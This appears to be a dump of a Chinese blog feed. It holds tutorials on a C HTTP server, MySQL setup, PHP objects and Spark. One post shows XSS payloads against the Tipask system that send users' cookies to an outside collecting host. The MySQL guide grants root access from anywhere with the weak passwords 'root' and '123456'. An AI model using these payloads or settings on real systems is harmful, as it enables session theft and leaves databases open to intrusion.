char&nbsp;*wday[]&nbsp;=&nbsp;{"Sun",&nbsp;"Mon",&nbsp;"Tue",&nbsp;"Wed",&nbsp;"Thu",&nbsp;"Fri",&nbsp;"Sat"};</p><p class="p0">  char&nbsp;*wmon[]&nbsp;=&nbsp;{"Jan",&nbsp;"Feb",&nbsp;"Mar",&nbsp;"Apr",&nbsp;"May",&nbsp;"Jun",&nbsp;"Jul",&nbsp;"Aug",&nbsp;"Sep",&nbsp;"Oct",&nbsp;"Nov",&nbsp;"Dec"};</p><p class="p0">  struct&nbsp;tm&nbsp;*ptr;</p><p class="p0">  time_t&nbsp;it;</p><p class="p0">&nbsp;</p><p class="p0">  time(&amp;it);</p><p class="p0">  ptr=localtime(&amp;it);&nbsp;//取得本地时间</p><p class="p0">&nbsp;</p><p class="p0">  switch(status)</p><p class="p0">  {</p><p class="p0">    case&nbsp;200:</p><p class="p0">      //状态行</p><p class="p0">      strcat(msg,"HTTP/1.1&nbsp;200&nbsp;OK\r\n");</p><p class="p0">      //首部</p><p class="p0">      strcat(msg,"Date:&nbsp;");</p><p class="p0">      strcat(msg,&nbsp;wday[ptr-&gt;tm_wday]);</p><p class="p0">      strcat(msg,&nbsp;",&nbsp;");</p><p class="p0">      sprintf(num,"%d",ptr-&gt;tm_mday);</p><p class="p0">      strcat(msg,num);</p><p class="p0">      strcat(msg,"&nbsp;");</p><p class="p0">      strcat(msg,&nbsp;wmon[ptr-&gt;tm_mon]);</p><p class="p0">      strcat(msg,"&nbsp;");</p><p class="p0">      sprintf(num,"%d",1900+ptr-&gt;tm_year);</p><p class="p0">      strcat(msg,num);</p><p class="p0">      strcat(msg,"&nbsp;");</p><p class="p0">      sprintf(num,"%d",ptr-&gt;tm_hour);</p><p class="p0">      strcat(msg,num);</p><p class="p0">      strcat(msg,":");</p><p class="p0">      sprintf(num,"%d",ptr-&gt;tm_min);</p><p class="p0">      strcat(msg,num);</p><p class="p0">      strcat(msg,":");</p><p class="p0">      sprintf(num,"%d",ptr-&gt;tm_sec);</p><p class="p0">      strcat(msg,num);</p><p class="p0">      strcat(msg,"&nbsp;GMT\r\n");</p><p class="p0">      strcat(msg,"Content-Type:&nbsp;text/html;charset=gb2312\r\n");</p><p class="p0">      strcat(msg,"Content-Length:&nbsp;");</p><p class="p0">      sprintf(num,&nbsp;"%d",&nbsp;s);</p><p class="p0">      strcat(msg,&nbsp;num);</p><p class="p0">&nbsp;</p><p class="p0">      strcat(msg,"\r\n\r\n");</p><p class="p0">    break;</p><p class="p0">&nbsp;</p><p class="p0">    case&nbsp;404:</p><p class="p0">      //状态行</p><p class="p0">      strcat(msg,"HTTP/1.1&nbsp;404&nbsp;Not&nbsp;Found\r\n");</p><p class="p0">      //首部</p><p class="p0">      strcat(msg,"Date:&nbsp;");</p><p class="p0">      strcat(msg,&nbsp;wday[ptr-&gt;tm_wday]);</p><p class="p0">      strcat(msg,&nbsp;",&nbsp;");</p><p class="p0">      sprintf(num,"%d",ptr-&gt;tm_mday);</p><p class="p0">      strcat(msg,num);</p><p class="p0">      strcat(msg,"&nbsp;");</p><p class="p0">      strcat(msg,&nbsp;wmon[ptr-&gt;tm_mon]);</p><p class="p0">      strcat(msg,"&nbsp;");</p><p class="p0">      sprintf(num,"%d",1900+ptr-&gt;tm_year);</p><p class="p0">      strcat(msg,num);</p><p class="p0">      strcat(msg,"&nbsp;");</p><p class="p0">      sprintf(num,"%d",ptr-&gt;tm_hour);</p><p class="p0">      strcat(msg,num);</p><p class="p0">      strcat(msg,":");</p><p class="p0">      sprintf(num,"%d",ptr-&gt;tm_min);</p><p class="p0">      strcat(msg,num);</p><p class="p0">      strcat(msg,":");</p><p class="p0">      sprintf(num,"%d",ptr-&gt;tm_sec);</p><p class="p0">      strcat(msg,num);</p><p class="p0">      strcat(msg,"&nbsp;GMT\r\n\r\n");</p><p class="p0">&nbsp;</p><p class="p0">    break;</p><p class="p0">  }</p><p class="p0">  return&nbsp;0;</p><p class="p0">}</p><p class="p0">&nbsp;</p><p class="p0">  上面的代码只是一个小小的示范。相信在你充分理解了http协议和一些string操作的方法之后,你可以写出更强大、更稳定的函数!</p><p class="p0">&nbsp;</p><p class="p0">  记得之前说过要把server.c中的服务器资源路径改成你的路径吗?我们在这个路径下放一个用于测试的test.html文件。不然空空如也的服务器象什么话嘛!这个文件是用html语言写的,不用管它,复制粘贴下面的内容就好了!</p><p class="p0">&nbsp;</p><p class="p0">&lt;html&gt;</p><p class="p0">&lt;head&gt;</p><p class="p0">&lt;meta&nbsp;http-equiv="Content-Type"&nbsp;content="text/html;&nbsp;charset=gb2312"&nbsp;/&gt;</p><p class="p0">&lt;meta&nbsp;http-equiv="Content-Language"&nbsp;content="zh-cn"&nbsp;/&gt;</p><p class="p0">&lt;/head&gt;</p><p class="p0">&lt;body&nbsp;bgcolor="yellow"&gt;</p><p class="p0">&lt;h2&gt;Hello&nbsp;World&lt;/h2&gt;</p><p class="p0">&lt;/body&gt;</p><p class="p0">&lt;/html&gt;</p><p class="p0">&nbsp;</p><p class="p0">  这样服务器就有资源了。服务器每次受到请求,都会在服务器资源路径下查找,如果找到了,就返回200报文,并附上文件内容;如果没找到,则返回404报文。</p><p class="p0">&nbsp;</p><p class="p0">  下面来看看我们的成果吧!</p><p class="p0">  把我们的程序编译好。</p><p class="p0">  运行server,它就开始监听连接了。保持它的运行。</p><p class="p0">  运行browser,输入:</p><p class="p0">    <a href="http://127.0.0.1:3333/test.html">http://127.0.0.1:3333/test.html</a></p><p class="p0">    回车</p><p class="p0">  你就会看到服务器和浏览器都收到了对方发来的报文!</p><p class="p0">  在browser中输入:</p><p class="p0">    <a href="http://127.0.0.1:3333/no.html">http://127.0.0.1:3333/no.html</a></p><p class="p0">  由于我们没有在资源路径下放置&nbsp;no.html&nbsp;这个文件,于是浏览器会接收到一个404报文。</p><p class="p0">&nbsp;</p><p class="p0">  虽然很简单,但是以上就是我们的精简B/S系统的全部了!</p><p class="p0">  哦,等等!还有一个说好的小惊喜呢!</p><p class="p0">  之前我们有说过的,由于我们是严格按照http协议来编写的程序,所以它可以和任何其他同样遵循此协议的程序实现通信而无需考虑其内部实现!什么意思呢?</p><p class="p0">  现在,保持你的server运行。</p><p class="p0">  打开你的浏览器。注意,不是那个browser,而是你的系统浏览器,比如火狐。</p><p class="p0">  在你的导航栏里&mdash;&mdash;不要怀疑&mdash;&mdash;输入:</p><p class="p0">    <a href="http://127.0.0.1:3333/test.html">http://127.0.0.1:3333/test.html</a></p><p class="p0">    回车</p><p class="p0">  你会发现你的浏览器真的为你打开了一个网页!这个网页是黄色的页面,上面写这一行字:&ldquo;Hello&nbsp;World!&rdquo;</p><p class="p0">  你也许会很奇怪,你完全不知道火狐是如何编写的,但是它却可以访问你的服务器!其实也不必大惊小怪,所谓协议就是用来干这个的呀!</p><p class="p0">&nbsp;</p><p class="p0">&nbsp;链接:</p><p class="p0">  这篇文章提供了详细的c语言socket函数讲解,很多定义和用法都可以找到:</p><p class="p0">    http://blog.csdn.net/shisqf/article/details/6563942</p><p class="p0">  这篇文章比较直观地给出了http协议的格式和例子:</p><p class="p0">    http://www.cnblogs.com/shaoge/archive/2009/08/14/1546019.html</p><p class="p0">  这篇文章更详细地介绍了http的相关概念,包括URL的介绍:</p><p class="p0">    http://www.360doc.com/content/13/0217/11/9318309_266094744.shtml</p><p class="p0">  这篇文章是一个介绍操作string的各种函数的好文章,在报文的生成和解析中可能用得到:</p><p class="p0">    http://blog.csdn.net/sunnylgz/article/details/6677103    </p><p class="p0">&nbsp;</p><img src="http://counter.cnblogs.com/blog/rss/3674119" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/arcane/p/3674119.html" target="_blank">【C语言】【网络编程】菜鸟学习日志(三) 一个简易B/S系统??Http Server和精简的浏览器</a>,转载请注明。</p>http://www.cnblogs.com/kuoaidebb/p/3674211.html【web安全】第一弹:利用xss注入获取cookie - 阔爱的贝贝首先一定要先来吐槽一下tipask系统。这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御。言归正传:【准备1】 cookie接收服务器。 平时喜欢用sae,所以在sae上写了一个get方法传值的页面,获取到的数据存储进数据库。数据表结构很简单其中time,ip,pre_u...2014-04-18T14:40:00Z2014-04-18T14:40:00Z阔爱的贝贝http://www.cnblogs.com/kuoaidebb/<p>首先一定要先来吐槽一下tipask系统。这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御。</p><p>言归正传:</p><p>【准备1】 cookie接收服务器。 平时喜欢用sae,所以在sae上写了一个get方法传值的页面,获取到的数据存储进数据库。</p><p>数据表结构很简单</p><p>&nbsp;</p><p><img src="http://friday.sinaapp.com/img/database.jpg" alt="" width="785" height="135" /></p><p>其中time,ip,pre_url都可以没有。</p><p>页面代码如下</p><p><img src="http://friday.sinaapp.com/img/code.jpg" alt="" width="1007" height="207" /></p><p>实际应用像下面这样:</p><p>访问链接:http://xxx.sinaapp.com/?cookie=xxxx;</p><p>xxxx的内容就会自动存入数据库。</p><p>【准备2】利用xss漏洞截取用户的cookie</p><p><img src="http://friday.sinaapp.com/img/QQ图片20140418223313.jpg" alt="" width="18" height="20" /></p><p>输入内容</p><p>&lt;script&gt;window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie&lt;/script&gt;</p><p>提交后发现没反应,审查元素:</p><p>&lt;script&gt;window.location.href='http://xxx.sinaapp.com/cookie/?cookie=' document.cookie&lt;/script&gt;</p><p>发现代码被浏览器处理过了:把加号给过滤掉了。</p><p>通过引入外部js文件来解决这个问题:</p><p>还是在刚才的文本框输入:&nbsp;</p><p>&lt;script src='http://xxx.sinaapp.com/js/test.js'&gt;&lt;/script&gt;</p><p>成功引入js文件~~</p><p>js文件就一行。。window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie;</p><img src="http://counter.cnblogs.com/blog/rss/3674211" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/kuoaidebb/p/3674211.html" target="_blank">【web安全】第一弹:利用xss注入获取cookie</a>,转载请注明。</p>http://www.cnblogs.com/txtfashion/p/3674199.htmlCentos下搭建Mysql - txtfashion为了搭建一个lnmp环境,现在还缺少一个mysql,搭建nginx和php请看文章: Nginx服务器的安装与配置 Nginx的基本配置与优化 Centos下主DNS的搭建 Nginx与PHP(FastCGI)的安装、配置与优化下面就开始安装Mysql,在安装前需要准备的是,创建mysq...2014-04-18T14:38:00Z2014-04-18T14:38:00Ztxtfashionhttp://www.cnblogs.com/txtfashion/<p>  <strong>为了搭建一个lnmp环境,现在还缺少一个mysql,搭建nginx和php请看文章:</strong></p><p>  <a id="homepage1_HomePageDays_DaysList_DayItem_3_DayList_3_TitleUrl_0" class="postTitle2" href="http://www.cnblogs.com/txtfashion/p/3631928.html">Nginx服务器的安装与配置</a></p><p>  <a id="homepage1_HomePageDays_DaysList_DayItem_2_DayList_2_TitleUrl_0" class="postTitle2" href="http://www.cnblogs.com/txtfashion/p/3634733.html">Nginx的基本配置与优化</a></p><p>  <a id="homepage1_HomePageDays_DaysList_DayItem_1_DayList_1_TitleUrl_0" class="postTitle2" href="http://www.cnblogs.com/txtfashion/p/3657393.html">Centos下主DNS的搭建</a></p><p>  <a id="homepage1_HomePageDays_DaysList_DayItem_0_DayList_0_TitleUrl_0" class="postTitle2" href="http://www.cnblogs.com/txtfashion/p/3669524.html">Nginx与PHP(FastCGI)的安装、配置与优化</a></p><ul><li><strong>下面就开始安装Mysql,在安装前需要准备的是,创建mysql用户以及用户组:</strong></li></ul><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">groupadd mysql<br/>useradd -g mysql mysql<br/></div><ul><li><strong>mysql编译安装:</strong></li></ul><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">wget http://downloads.mysql.com/archives/mysql-5.1/mysql-5.1.70.tar.gz<br/>tar -zxvf mysql-5.1.70.tar.gz<br/>cd mysql-5.1.70<br/><br/>yum install ncurses ncurses-devel<br/>./configure '--prefix=/usr/local/mysql' '--without-debug' '--with-charset=utf8' '--with-extra-charsets=all' '--enable-assembler' '--with-pthread' '--enable-thread-safe-client' '--with-mysqld-ldflags=-all-static' '--with-client-ldflags=-all-static' '--with-big-tables' '--with-readline' '--with-ssl' '--with-embedded-server' '--enable-local-infile' '--with-plugins=innobase'<br/>make<br/>make install</div><p>  在make和make install过程是比较漫长的,需要耐心等待安装完成,至此,mysql就安装到/usr/local/mysql路径下了,接下来要做的就是mysql的配置。</p><ul><li><strong>设置msql目录权限和创建系统数据库的表</strong></li></ul><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">chown -R mysql:mysql /usr/local/mysql<br/>/usr/local/mysql/bin/mysql_install_db --user=mysql<br/></div><ul><li><strong>将mysql的启动服务添加到系统服务中</strong></li></ul><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">cp support-files/my-medium.cnf /etc/my.cnf<br/>cp -r support-files/mysql.server /etc/init.d/mysqld <br/>/sbin/chkconfig --del mysqld<br/>/sbin/chkconfig --add mysqld</div><ul><li><strong>设置环境变量:</strong></li></ul><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">export PATH=/usr/local/mysql/bin:$PATH<br/>/usr/local/mysql/bin/mysql_secure_installation<br/></div><ul><li><strong>启动mysql</strong></li></ul><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">service mysqld start<br/></div><ul><li><strong>修改Mysql的root用户的密码以及打开远程连接</strong></li></ul><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">mysql -u root -p //然后会提示输入,就直接回车<br/><br/>mysql&gt; use mysql;<br/>mysql&gt; desc user;<br/>mysql&gt; GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";//为root添加远程连接的能力<br/>mysql&gt; update user set Password = password('123456') where User='root';//设置root用户密码<br/>mysql&gt; select Host,User,Password from user where User='root';<br/>mysql&gt; flush privileges;<br/></div><p>  </p><p>  远程登入的时候,会发现登入不了,因为centos下开启了防火墙,可以将mysql的3306开通,具体如下:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">vi /etc/sysconfig/iptables<br/>在文件中添加一行如下的条件<br/>-I INPUT -p tcp --dport 3306 -j ACCEPT<br/><br/>然后重启iptables<br/>service iptables restart<br/></div><p>  </p><img src="http://counter.cnblogs.com/blog/rss/3674199" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/txtfashion/p/3674199.html" target="_blank">Centos下搭建Mysql</a>,转载请注明。</p>http://www.cnblogs.com/Stone--world/p/3674100.htmlphp之面向对象(2) - Stoneworld注意:看这篇文章之前建议看看之前的文章,因为内容之间衔接性比较强。勿喷。。 面向对象,是一种思维模式的名字,并不是指某种特定的写法,面向对象简称oop,思路的核心在于:什么时候 什么东西 做什么。 编程讲究代码与思路的绝对吻合,如果代码没有对应思路的某个过程,那么思路就和代码脱节了,那么代码...2014-04-18T13:33:00Z2014-04-18T13:33:00ZStoneworldhttp://www.cnblogs.com/Stone--world/<p>  注意:看这篇文章之前建议看看之前的文章,因为内容之间衔接性比较强。勿喷。。</p><p>  面向对象,是一种思维模式的名字,并不是指某种特定的写法,面向对象简称oop,思路的核心在于:什么时候 什么东西 做什么。</p><p>  编程讲究代码与思路的绝对吻合,如果代码没有对应思路的某个过程,那么思路就和代码脱节了,那么代码的由来就有待考证了,由于面向对象的描述,不在意具体的细节描述,只在意什么东西做什么,为了能让代码和思路吻合,封装便应运而生,只有封装才能使得一句代码对应一个做什么,这就意味着我们需要知道自己事先准备好一堆&ldquo;做什么&rdquo;,要么自己封装,要么用别人封装好的,为了使代码更准确的符合面向对象的描述,我们需要用一个个的量来假想成为这个什么东西,因为程序最终处理的时量,但是普通的量往往是一个个的准确的值,这样写出来的代码,顶多可以读作:读取一个文件写入一个文件,而不便于读作:文件做什么,正如之前所说的面向对象讲究的是什么时候什么东西做什么 ,所以通常情况下我们会用实例化之后的类来表示这个对象,因为实例化后的类里面有方法,这样一来,我们在使用这个实例化后的类时就可以把这个量视作一个对象,类里面的方法 我们在代码编写的时候可以通过这个量调用里面的方法,就更符合:什么东西做什么。</p><p>  比如说:read($file); &nbsp;我们可以读作:读取&ldquo;这个文件&rdquo;,这里的重点是&ldquo;读取&rdquo;,文件只是被读取的东西,而读取是一个过程。这种思考模式就还称不上是面向对象而是面向过程。面向对象应该符合:什么东西做什么。$file-&gt;read();&nbsp;&nbsp;&nbsp;这个写法,就很容易看得出来,是&nbsp;文件-&gt;读取 ,是&ldquo;文件&rdquo;在读取,这样的描述就更符合面向对象的思维模式。所以说。面向对象封装起来只是为了代码更符合思维的描述。&nbsp;为了写的时候,代码更符合思维的描述。在之前我们肯定看过别人写的类 可能会看到一些方法,里面只有一个赋值,这看似蛋疼和多余的写法其实是为了在使用这个类的时候代码看起来能和思维一致的缘故,上一篇的博客上 封装的一个文件类 如果我们有两个文件每个文件都看成一个对象 我们希望从文件A里读出内容然后写入文件B里,A和B分别是两个文件,那我们就用这个类来描述一下这个事情。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #800080;">$a</span> = <span style="color: #0000ff;">new</span> fileclass("a.txt"<span style="color: #000000;">);<br/></span><span style="color: #800080;">$b</span> = <span style="color: #0000ff;">new</span> fileclass("b.txt"<span style="color: #000000;">);<br/><br/></span><span style="color: #008000;">//</span><span style="color: #008000;">A把自己文件读出来</span><br/><span style="color: #800080;">$data</span> = <span style="color: #800080;">$a</span>-&gt;<span style="color: #000000;">read();<br/><br/></span><span style="color: #008000;">//</span><span style="color: #008000;">B记下这个文件</span><br/><span style="color: #800080;">$b</span>-&gt;write(<span style="color: #800080;">$data</span><span style="color: #000000;">);<br/><br/></span><span style="color: #0000ff;">echo</span> <span style="color: #800080;">$b</span>-&gt;read();</div><p>完整代码如下</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">&lt;?<span style="color: #000000;">php<br/></span><span style="color: #0000ff;">class</span><span style="color: #000000;"> fileclass {<br/> <br/> </span><span style="color: #0000ff;">public</span> <span style="color: #800080;">$size</span> = 0<span style="color: #000000;">;<br/> </span><span style="color: #0000ff;">public</span> <span style="color: #800080;">$name</span> = ''<span style="color: #000000;">;<br/> <br/> </span><span style="color: #0000ff;">public</span> <span style="color: #0000ff;">function</span> __construct(<span style="color: #800080;">$file</span><span style="color: #000000;">) {<br/> </span><span style="color: #800080;">$size</span> = <span style="color: #008080;">filesize</span>(<span style="color: #800080;">$file</span><span style="color: #000000;">);<br/> </span><span style="color: #800080;">$this</span>-&gt;size = <span style="color: #800080;">$size</span><span style="color: #000000;">;<br/> </span><span style="color: #800080;">$this</span>-&gt;name = <span style="color: #800080;">$file</span><span style="color: #000000;">;<br/> }<br/> </span><span style="color: #0000ff;">function</span><span style="color: #000000;"> read() {<br/> </span><span style="color: #800080;">$fp</span> = <span style="color: #008080;">fopen</span>(<span style="color: #800080;">$this</span>-&gt;name, "r"<span style="color: #000000;">);<br/> </span><span style="color: #800080;">$data</span> = <span style="color: #008080;">fread</span>(<span style="color: #800080;">$fp</span>, <span style="color: #008080;">filesize</span>(<span style="color: #800080;">$this</span>-&gt;<span style="color: #000000;">name));<br/> </span><span style="color: #008080;">fclose</span>(<span style="color: #800080;">$fp</span><span style="color: #000000;">);<br/> </span><span style="color: #0000ff;">return</span> <span style="color: #800080;">$data</span><span style="color: #000000;">;<br/> }<br/> </span><span style="color: #0000ff;">function</span> write(<span style="color: #800080;">$data</span>, <span style="color: #800080;">$op</span> = 'a'<span style="color: #000000;">) {<br/> </span><span style="color: #800080;">$fp</span> = <span style="color: #008080;">fopen</span>(<span style="color: #800080;">$this</span>-&gt;name, <span style="color: #800080;">$op</span><span style="color: #000000;">);<br/> </span><span style="color: #800080;">$rs</span> = <span style="color: #008080;">fwrite</span>(<span style="color: #800080;">$fp</span>, <span style="color: #800080;">$data</span><span style="color: #000000;">);<br/> </span><span style="color: #008080;">fclose</span>(<span style="color: #800080;">$fp</span><span style="color: #000000;">);<br/> </span><span style="color: #0000ff;">return</span> <span style="color: #800080;">$rs</span><span style="color: #000000;">;<br/> }<br/><br/>}<br/><br/></span><span style="color: #800080;">$a</span> = <span style="color: #0000ff;">new</span> fileclass("test.txt"<span style="color: #000000;">);<br/></span><span style="color: #800080;">$b</span> = <span style="color: #0000ff;">new</span> fileclass("b.txt"<span style="color: #000000;">);<br/><br/></span><span style="color: #008000;">//</span><span style="color: #008000;">A把自己文件读出来</span><br/><span style="color: #800080;">$data</span> = <span style="color: #800080;">$a</span>-&gt;<span style="color: #000000;">read();<br/><br/></span><span style="color: #008000;">//</span><span style="color: #008000;">B记下这个文件</span><br/><span style="color: #800080;">$b</span>-&gt;write(<span style="color: #800080;">$data</span><span style="color: #000000;">);<br/></span><span style="color: #0000ff;">echo</span> <span style="color: #800080;">$b</span>-&gt;<span style="color: #000000;">read();<br/></span>?&gt;</div><p>当然&nbsp;$b-&gt;write($data);可以改变其文件模式,很明显第一次运行有错误 再运行一次看看,这个类是为了实现这个描述而做的准备,为了使对象看起来更像一个活的对象,它必须知道自己的名字。必须知道自己的大小,它必须能&ldquo;做点什么&rdquo;,所以test.txt b.txt需要存在,为此我们需要在封装的时候多用点心思。所以是先有了使用时的思路才有了类的封装,一个类,要封装的符合描述这个用法才是一个合格的类,为此官方推出一个类库pear,提供了一大堆事先封装好的类,我们拿来用就好了,如果我们从别的地方知道一个类我们应该如何使用呢?第一步就是:知道这个类,是针对什么对象开发的。如果一个类,不针对任何对象开发,那它就只是一种封装方式而已,&nbsp;当自定义函数用就好了。第二步:知道这个类,都为我们的对象,提供了什么属性和方法,通过属性,我们可以得到对象的什么参数。。或者改变属性值。我们可以让对象产生什么样的变化,都有什么方法,这些方法,都能让对象做什么,具体怎么做到的,就不用管了,如果你是为了学习怎么做到这个过程的话,可以去看一下别人的类的源代码。 现在我们体验一下,之前的内容有代码分离也就是模板技术。原理是把所有控制输出的代码写在另一个文件,需要输出的时候再进行包含,要点是:模板文件里的变量要有严格的约定,必须知道模板里面有什么可以输出的变量,什么样子的变量,才能准确的赋值上去。还有另一种模板原理是标记型的模板,在模板上,做上各种记号。然后,把要赋值的变量和记号一一替换。&nbsp;为了避免变量名冲突,我们往往把变量先暂存在另一个地方。&nbsp;要显示的时候,再取回这些变量,处理过后,赋值到模板上。&nbsp;不管是直接赋值上去,还是替换上去。&nbsp;为了便于管理这些过程,我们一般都会选择封装。&nbsp;一是为了便于重复使用代码。二是为了隔离当前代码的变量,于是,就出现了使用各种不同思路制作的模板封装。&nbsp;别人封装好的。我们知道原理就可以了,反正不外乎就是替换变量或者直接赋值。 于是再次提到了smarty。。。smarty内容见下一篇。。</p><p>&nbsp;</p><img src="http://counter.cnblogs.com/blog/rss/3674100" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/Stone--world/p/3674100.html" target="_blank">php之面向对象(2)</a>,转载请注明。</p>http://www.cnblogs.com/zacard-orc/p/3674005.htmlSpark入门级小玩 - RichardParker-背景 随着周边吐槽hadoop的声音渐渐多起来之后,spark也逐渐进入了大家的视野。之前,笔者有粗略的写过一篇spark的安装和性能比较[http://www.cnblogs.com/zacard-orc/p/3526007.html],加上这两天重读着大学时候的一些基础书籍,感觉IT领域大局势...2014-04-18T12:26:00Z2014-04-18T12:26:00ZRichardParkerhttp://www.cnblogs.com/zacard-orc/<p><span style="color: red; font-family: 微软雅黑; font-size: 20pt;"><strong>&middot;背景 </strong></span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;">随着周边吐槽hadoop的声音渐渐多起来之后,spark也逐渐进入了大家的视野。之前,笔者有粗略的写过一篇spark的安装和性能比较[<a href="http://www.cnblogs.com/zacard-orc/p/3526007.html">http://www.cnblogs.com/zacard-orc/p/3526007.html</a>],加上这两天重读着大学时候的一些基础书籍,感觉IT领域大局势就像DNA的结构一样。百家齐鸣却又万象归一,就像APP与H5的战争一样,内存计算及磁盘计算在各领风骚数十年后,可能渐渐也有了一丝明朗的阳光,同时也给了一次?丝走向高富帅的机会。这次再写一篇,不做枯燥理论的复制粘贴,就把这几天工作上碰到的一些内容更形象地与SPARK贴合起来。由于之前接触python不多,花了一天时间在上面,终于喝了两口python的汤,也正好切好本文的角度,已一个局外人的视角来解析spark的方便。写的不好之处,请拍~。 </span></p><p><span style="color: red; font-family: 微软雅黑; font-size: 20pt;">&middot;Spark里的常用名字 </span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;"><span style="color: #00b050;"><strong>pySpark.SparkContext:</strong></span>字面理解spark专属的上下文,承上启下。更形象的说,就像你的一份简历,上面有很多的字段(属性),方便你来告诉spark这次的 任务你想干什么。如果你忘了一些设置,或者想个性化一些设置,可以再从pySpark.conf中重新进行设定。 </span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;"><span style="color: #00b050;"><strong>pySpark.SparkContext.textFile:</strong></span>知道了任务,总要告诉Spark你具体要处理的对象。对大多数人来说,读文件是绕不开的一些。这个函数就是读取文件的神器。虽然现在的pyspark还不支持streaming,但是预计时间上也是迟早的事。 </span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;"><span style="color: #00b050;"><strong>RDD:</strong></span>字面理解,弹性数据集合。再粗俗点,大家把日志读到"内存",这个内存形式的会比较怪异。见下图,它可能存在的多种形式。</span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;"><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/572714/201404/182012483538905.png" alt="" /></span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;"><span style="color: #00b050;"><strong>Partition:</strong></span>在一些常见的PPT介绍中,每个人对其的理解也有很大的差别,有的认为,RDD是PARTITION的一部分,多个RDD组成PARTITION。也有认为PARTITION是RDD的一部分。这个只能说,E文单词有时候还真的挺隐晦。从官网API的mapPartition上看,笔者觉得Spark更推荐上图3的使用形式。但是,有了Yarn之后,Spark立马从张辽变成了张飞。</span></p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/572714/201404/182015549785524.png" alt="" /></p><p>&nbsp;</p><p><span style="font-family: 微软雅黑; font-size: 12pt;"><span style="color: #00b050;"><strong>Map+Reduce:OK。</strong></span>数据有了存在的形式,接下来干嘛。那就是自己改刀。在此需要提醒的时,在pyspark提示符号下,作为刚接触的同学可以多敲敲type。敲完之后,便一目了然。 </span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;"><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/572714/201404/182013243229950.png" alt="" /></span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;">&nbsp;&nbsp;&nbsp;&nbsp;spark 提供了很多API供大家发挥,唯独???需要从python中自己打造,有时候神和人的区别也许就在那???中能找到答案。PS:笔者是人。 </span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;"><strong><span style="color: #00ff00; font-size: 16px;">Shared Variables:</span></strong>MR这就走完了,但是Spark除了内存和并行计算是主打卖点外,还有一件事情是他的卖点,就是共享变量,其重要性无论在哪种语言的API中都位于一级目录。这个还真是方便,在有些MR的任务中,往往要插入第三方数据或者乱入的数据。之前hadoop streaming 可以有conf参数提供,但是是静态,如果像中途变更,就是重启服务。正是这种情况下,Shared Variables中的broadcast发挥了强大的功能,能写能读,方便灵活,类同范围攻击。官网介绍它时,说他可以放LARGE DATA而且还能用Spark自己的算法最快地发布到每个Worker上。由于笔者未读源码,只是抓包看了一下,不是UDP的组播。另外还有一个变量叫Accumulators,这个能读不能写,字面义是"累加器",官网也是这么演示,但是笔者更看重它的另外一层E文翻译"蓄水池",除传统累加外,还能做一些MR过程中的临时统计,但又不输出到RDD结果。 </span></p><p>&nbsp;</p><p><span style="color: red; font-family: 微软雅黑; font-size: 20pt;">&middot;Spark入门演示 </span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;">&nbsp;&nbsp;&nbsp;&nbsp;这次的演示不从官网角度出发,不从复制粘贴开始,就从最实际的工作切入。举个栗子,要基础的运维统计,统计每行日志中哪些耗时超过5100毫秒的操作记录。然后我们一步一步来。日志的样本如下所示,为了文章的效果,只显示5行,并且已经放到了hdfs://cent8:9000/input的目录下 </span></p><p>&nbsp;<img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/572714/201404/182016192601308.png" alt="" width="614" height="259" /></p><p><span style="font-family: 微软雅黑; font-size: 12pt;">先进入pyspark目录</span></p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/572714/201404/182016373221722.png" alt="" width="850" height="185" /></p><p><span style="font-family: 微软雅黑; font-size: 12pt;">由于pyspark启动时默认加载了spark许多类库,所以原本写在脚本中的import xxx from sparkxxx都可以省略 </span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;">先试着打开文件,很EAYS,打开的同时就已经分布式地加载到了内存中,此时words就是RDD类。 </span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">words = sc.textFile("/input/2.txt")</div><p><span style="font-family: 微软雅黑; font-size: 12pt;"><img src="http://images.cnitblog.com/i/572714/201404/182018006661861.png" alt="" /></span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;">看下words里面是什么,words.collect(),而且它返回了一个列表。 </span></p><p>&nbsp;<img src="http://images.cnitblog.com/i/572714/201404/182018111977809.png" alt="" /></p><p><span style="font-family: 微软雅黑; font-size: 12pt;">知道它是一个列表后,python同学的发挥空间就打开了,接下来我们继续。把日志明细拆开,这里会开启MAP,当然不开也可以。 </span></p><div style="background-color: #F5F5F5;border: 1px solid 